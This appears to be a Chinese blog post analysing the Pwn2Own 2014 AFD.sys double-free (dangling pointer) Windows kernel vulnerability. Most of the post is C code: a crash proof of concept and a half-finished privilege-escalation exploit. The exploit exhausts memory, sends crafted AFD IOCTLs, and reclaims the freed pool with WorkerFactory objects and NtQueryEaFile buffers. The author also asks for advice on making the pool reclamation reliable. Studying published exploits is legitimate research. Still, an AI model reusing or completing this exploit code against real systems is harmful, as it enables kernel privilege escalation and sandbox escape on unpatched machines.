首页 > 代码库 > Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability

Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability

  这个内核漏洞在Pwn2Own 2014上用来提权绕过IE沙箱(保护模式),siberas公司后来公布了漏洞的细节及利用方法,通过其公开的文档已经能够准确定位漏洞成因及利用方法。(http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf)

  第一次分析double free类型的漏洞,并且想通过此漏洞进一步了解学习内核漏洞的利用技术。但分析到占位时,出现了WorkerFactory Object及controlled data占位不稳定的问题,在我的调试过程中,WorkerFactory Object和controlled data都有占不到位的情况发生,只有少数情况下两者都能成功占位。调试了许久依旧还没能解决,所以打算先放一放,有思路和时间了再进一步调试。

  目前的改进思路是:

    1.针对WorkerFactory Object占位,进行多次循环创建,在循环中进行创建(NtCreateWorkerFactory)、判断、删除(NtReleaseWorkerFactoryWorker)操作,当判断占位成功时跳出循环。

    2.针对controlled data占位,采用多线程调用NtQueryEaFile进行占位(因为NtQueryEaFile会在函数末尾释放非分页内存,导致单线程循环调用时申请到同一片内存,从而无法成功占位)
    3.怎么想前两种方法都有些繁琐,而且不一定能够实现。我想一定有更高级、稳定的占位方法的吧。。。  (希望有思路的朋友给我一点儿提示  :-)  )

 

  下面是crash的POC代码

  1 #pragma comment(lib, "ws2_32.lib")  2   3 #include <WinSock2.h>  4 #include <windows.h>  5 #include <Winternl.h>  6 #include <Wingdi.h>  7 #include <iostream>  8 using namespace std;  9  10 typedef NTSTATUS  (WINAPI *_NtDeviceIoControlFile)( 11     _In_   HANDLE FileHandle, 12     _In_   HANDLE Event, 13     _In_   PIO_APC_ROUTINE ApcRoutine, 14     _In_   PVOID ApcContext, 15     _Out_  PIO_STATUS_BLOCK IoStatusBlock, 16     _In_   ULONG IoControlCode, 17     _In_   PVOID InputBuffer, 18     _In_   ULONG InputBufferLength, 19     _Out_  PVOID OutputBuffer, 20     _In_   ULONG OutputBufferLength 21     ); 22  23 int main() 24 { 25     HMODULE hNtDll = LoadLibrary("ntdll.dll");  26     _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile"); 27     if (pNtDeviceIoControlFile == NULL) 28     { 29         FreeLibrary(hNtDll); 30         cout<<"Get NtDeviceIoControlFile Address failed!"<<endl; 31         return -1; 32     } 33     FreeLibrary(hNtDll); 34  35  36     WSAData wasData; 37     WSAStartup(WINSOCK_VERSION, &wasData); 38  39     SOCKET LocalSock; 40     LocalSock = socket(AF_INET, SOCK_STREAM, 0); 41     if(LocalSock == INVALID_SOCKET) 42     { 43         cout<<"[-] no luck creating socket!"<<endl; 44         WSACleanup(); 45         return -1; 46     } 47  48     cout<<"[+] got sock 0x%x"<<endl; 49      50     struct sockaddr_in    to; 51     memset(&to, 0, sizeof(to)); 52     to.sin_addr.s_addr = inet_addr("127.0.0.1"); 53     to.sin_family = AF_INET; 54     to.sin_port = htons(135); 55  56     if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR) 57     { 58         cout<<"[-] connect failed!"<<endl; 59         WSACleanup(); 60         return -1; 61     } 62  63     cout<<"[+] sock connected."<<endl; 64  65  66     /* Prepare buffer */ 67     unsigned int targetsize = 0x100; 68     unsigned int virtaddress = 0x13371337; 69     unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff); 70      71     IO_STATUS_BLOCK StatuBlock ; 72     unsigned char inbuf1[48] = {0};    // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0) 73     unsigned char inbuf2[24] = {0};    // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4 74     PULONG point; 75  76     point = (PULONG)inbuf1; 77     point = point + 6; 78     *point++ = virtaddress; 79     *point++ = mdlsize; 80     point = point + 2; 81     *point = 1; 82  83     point = (PULONG)inbuf2; 84     *point++ = 1; 85     *point = 0xaaaaaaa;     86  87     /* Exhaust the system‘s physical memory. */ 88     int nBottomRect = 0x2aaaaaa ; 89     HRGN hrgn; 90     while (true) 91     { 92         hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1); 93         if (hrgn == 0) 94         { 95             break; 96         } 97     } 98      99 100     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0);101     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0);102 103     104     return 0;105 }
View Code

 

  下面是我调试到一半的利用代码

  1 #pragma comment(lib, "ws2_32.lib")  2   3 #include <WinSock2.h>  4 #include <windows.h>  5 #include <Winternl.h>  6 #include <Wingdi.h>  7 #include <iostream>  8   9 using namespace std; 10  11 typedef NTSTATUS  (WINAPI *_NtDeviceIoControlFile)( 12     _In_   HANDLE FileHandle, 13     _In_   HANDLE Event, 14     _In_   PIO_APC_ROUTINE ApcRoutine, 15     _In_   PVOID ApcContext, 16     _Out_  PIO_STATUS_BLOCK IoStatusBlock, 17     _In_   ULONG IoControlCode, 18     _In_   PVOID InputBuffer, 19     _In_   ULONG InputBufferLength, 20     _Out_  PVOID OutputBuffer, 21     _In_   ULONG OutputBufferLength 22     ); 23  24 #define WORKER_FACTORY_RELEASE_WORKER 0x0001 25 #define WORKER_FACTORY_WAIT 0x0002 26 #define WORKER_FACTORY_SET_INFORMATION 0x0004 27 #define WORKER_FACTORY_QUERY_INFORMATION 0x0008 28 #define WORKER_FACTORY_READY_WORKER 0x0010 29 #define WORKER_FACTORY_SHUTDOWN 0x0020 30 #define WORKER_FACTORY_ALL_ACCESS (  31     STANDARD_RIGHTS_REQUIRED |  32     WORKER_FACTORY_RELEASE_WORKER |  33     WORKER_FACTORY_WAIT |  34     WORKER_FACTORY_SET_INFORMATION |  35     WORKER_FACTORY_QUERY_INFORMATION |  36     WORKER_FACTORY_READY_WORKER |  37     WORKER_FACTORY_SHUTDOWN  38     ) 39  40 typedef enum _WORKERFACTORYINFOCLASS 41 { 42     WorkerFactoryTimeout, 43     WorkerFactoryRetryTimeout, 44     WorkerFactoryIdleTimeout, 45     WorkerFactoryBindingCount, 46     WorkerFactoryThreadMinimum, 47     WorkerFactoryThreadMaximum, 48     WorkerFactoryPaused, 49     WorkerFactoryBasicInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryBasicInformation 50     WorkerFactoryAdjustThreadGoal, 51     WorkerFactoryCallbackType, 52     WorkerFactoryStackInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryStackInformation 53     MaxWorkerFactoryInfoClass 54 } WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS; 55  56 typedef struct _WORKER_FACTORY_BASIC_INFORMATION 57 { 58     LARGE_INTEGER Timeout; 59     LARGE_INTEGER RetryTimeout; 60     LARGE_INTEGER IdleTimeout; 61     BOOLEAN Paused; 62     BOOLEAN TimerSet; 63     BOOLEAN QueuedToExWorker; 64     BOOLEAN MayCreate; 65     BOOLEAN CreateInProgress; 66     BOOLEAN InsertedIntoQueue; 67     BOOLEAN Shutdown; 68     ULONG BindingCount; 69     ULONG ThreadMinimum; 70     ULONG ThreadMaximum; 71     ULONG PendingWorkerCount; 72     ULONG WaitingWorkerCount; 73     ULONG TotalWorkerCount; 74     ULONG ReleaseCount; 75     LONGLONG InfiniteWaitGoal; 76     PVOID StartRoutine; 77     PVOID StartParameter; 78     HANDLE ProcessId; 79     SIZE_T StackReserve; 80     SIZE_T StackCommit; 81     NTSTATUS LastThreadCreationStatus; 82 } WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION; 83  84 typedef NTSTATUS (WINAPI *_NtCreateWorkerFactory)( 85     __out PHANDLE WorkerFactoryHandleReturn, 86     __in ACCESS_MASK DesiredAccess, 87     __in_opt POBJECT_ATTRIBUTES ObjectAttributes, 88     __in HANDLE CompletionPortHandle, 89     __in HANDLE WorkerProcessHandle, 90     __in PVOID StartRoutine, 91     __in_opt PVOID StartParameter, 92     __in_opt ULONG MaxThreadCount, 93     __in_opt ULONG StackReserve, 94     __in_opt ULONG StackCommit 95     ); 96  97 typedef NTSTATUS (WINAPI *_NtQueryInformationWorkerFactory)( 98     __in HANDLE WorkerFactoryHandle, 99     __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,100     __out_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,101     __in ULONG WorkerFactoryInformationLength,102     __out_opt PULONG ReturnLength103     );104 105 typedef    NTSTATUS (WINAPI *_NtSetInformationWorkerFactory)(106     __in HANDLE WorkerFactoryHandle,107     __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,108     __in_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,109     __in ULONG WorkerFactoryInformationLength110     );111 112 typedef NTSTATUS (WINAPI *_NtReleaseWorkerFactoryWorker)(113     __in HANDLE WorkerFactoryHandle114     );115 116 typedef NTSTATUS (WINAPI *_NtQueryEaFile)(117     _In_      HANDLE FileHandle,118     _Out_     PIO_STATUS_BLOCK IoStatusBlock,119     _Out_     PVOID Buffer,120     _In_      ULONG Length,121     _In_      BOOLEAN ReturnSingleEntry,122     _In_opt_  PVOID EaList,123     _In_      ULONG EaListLength,124     _In_opt_  PULONG EaIndex,125     _In_      BOOLEAN RestartScan126     );127 128 typedef struct _FILE_FULL_EA_INFORMATION {129     ULONG  NextEntryOffset;130     UCHAR  Flags;131     UCHAR  EaNameLength;132     USHORT EaValueLength;133     CHAR   EaName[1];134 } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;135 136 137 138 139 void TppWorkerThread()140 {141     int i;142     for (i = 0; i <100; i++)143     {144         ;145     }146     return ;147 }148 149 int main()150 {151     HMODULE hNtDll = LoadLibrary("ntdll.dll"); 152 153     _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile");154     if (pNtDeviceIoControlFile == NULL)155     {156         FreeLibrary(hNtDll);157         cout<<"Get NtDeviceIoControlFile Address failed!"<<endl;158         return -1;159     }160 161     _NtCreateWorkerFactory  pNtCreateWorkerFactory  = (_NtCreateWorkerFactory)GetProcAddress(hNtDll, "NtCreateWorkerFactory");162     if (pNtCreateWorkerFactory == NULL)163     {164         FreeLibrary(hNtDll);165         cout<<"Get NtCreateWorkerFactory Address failed!"<<endl;166         return -1;167     }168 169     _NtQueryEaFile pNtQueryEaFile = (_NtQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");170     if (pNtQueryEaFile == NULL)171     {172         FreeLibrary(hNtDll);173         cout<<"Get NtQueryEaFile Address failed!"<<endl;174         return -1;175     }176 177     _NtQueryInformationWorkerFactory pNtQueryInformationWorkerFactory = (_NtQueryInformationWorkerFactory)GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory");178     if (pNtQueryInformationWorkerFactory == NULL)179     {180         FreeLibrary(hNtDll);181         cout<<"Get NtQueryInformationWorkerFactory Address failed!"<<endl;182         return -1;183     }184     185     FreeLibrary(hNtDll);186 187 188     WSAData wasData;189     WSAStartup(WINSOCK_VERSION, &wasData);190 191     SOCKET LocalSock;192     LocalSock = socket(AF_INET, SOCK_STREAM, 0);193     if(LocalSock == INVALID_SOCKET)194     {195         cout<<"[-] no luck creating socket!"<<endl;196         WSACleanup();197         return -1;198     }199 200     cout<<"[+] got sock 0x%x"<<endl;201     202     struct sockaddr_in    to;203     memset(&to, 0, sizeof(to));204     to.sin_addr.s_addr = inet_addr("127.0.0.1");205     to.sin_family = AF_INET;206     to.sin_port = htons(135);207 208     if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR)209     {210         cout<<"[-] connect failed!"<<endl;211         WSACleanup();212         return -1;213     }214 215     cout<<"[+] sock connected."<<endl;216 217 218 219     IO_STATUS_BLOCK StatuBlock ;220     NTSTATUS Ret;221     PULONG point;222     223     /* Prepare DeviceIoControl buffer */224     unsigned int targetsize = 0x100;225     unsigned int virtaddress = 0x13371337;226     unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff);227     unsigned char inbuf1[48] = {0};    // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0)228     unsigned char inbuf2[24] = {0};    // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4229     230     point = (PULONG)inbuf1;231     point = point + 6;232     *point++ = virtaddress;233     *point++ = mdlsize;234     point = point + 2;235     *point = 1;236 237     point = (PULONG)inbuf2;238     *point++ = 1;239     *point = 0xaaaaaaa;    240 241 242     /* Prepare the arguments of NtCreateWorkerFactory */243     HANDLE WorkerFactoryHandle;244     HANDLE CompletionPort ;245     CompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0);246     HANDLE WorkerHandle ;247     WorkerHandle = GetCurrentProcess();248 249 250     /* Prepare the arguments of NtQueryEaFile */251     FILE_FULL_EA_INFORMATION FFEI_Buffer ;252     unsigned char EaListInputBuffer[0x100]={0};253 254     point = (PULONG)EaListInputBuffer;        // 0x0xfffffa8000000300 - 0x2e0 = 0x0xfffffa8000000020255     point = point + 0x30 / 4;256     *point++ = 0x00000020;257     *point = 0xfffffa80;258 259     /* Prepare the arguments of NtQueryInformationWorkerFactory */260     WORKER_FACTORY_BASIC_INFORMATION basicInfo;261 262     /* Exhaust the system‘s physical memory. */263     int nBottomRect = 0x2aaaaaa ;264     HRGN hrgn;265     while (true)266     {267         hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1);268         if (hrgn == 0)269         {270             break;271         }272     }273 274 275 276     //AfdTransmitFile(+0x243 AfdTliGetTpInfo -> ExAllocateFromNPagedLookasideList -> AfdAllocateTpInfo -> ExAllocatePoolWithTagPriority)277     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0);278 279 280     /* Prepare Worker Factory Object for READ/WRITE-PRIMITIVES */281     //for (int i = 0; i < 50; i++)282         pNtCreateWorkerFactory(&WorkerFactoryHandle, WORKER_FACTORY_ALL_ACCESS, NULL, CompletionPort, WorkerHandle, TppWorkerThread, NULL, NULL, NULL, NULL);283 284     285     //AfdTransmitPackets286     pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0);287 288     289     /* Replace the freed object data with controlled data */    290     //pNtQueryEaFile((HANDLE)LocalSock, &StatuBlock, &FFEI_Buffer, sizeof(FFEI_Buffer), TRUE, InputBuffer, 0x100, NULL, FALSE);291     pNtQueryEaFile(NULL, &StatuBlock, NULL, NULL, TRUE, EaListInputBuffer, 0x100, NULL, FALSE);292 293     pNtQueryInformationWorkerFactory(WorkerFactoryHandle, WorkerFactoryBasicInformation, &basicInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), NULL);294 295     closesocket(LocalSock);296     WSACleanup();297 298     return 0;299 }
View Code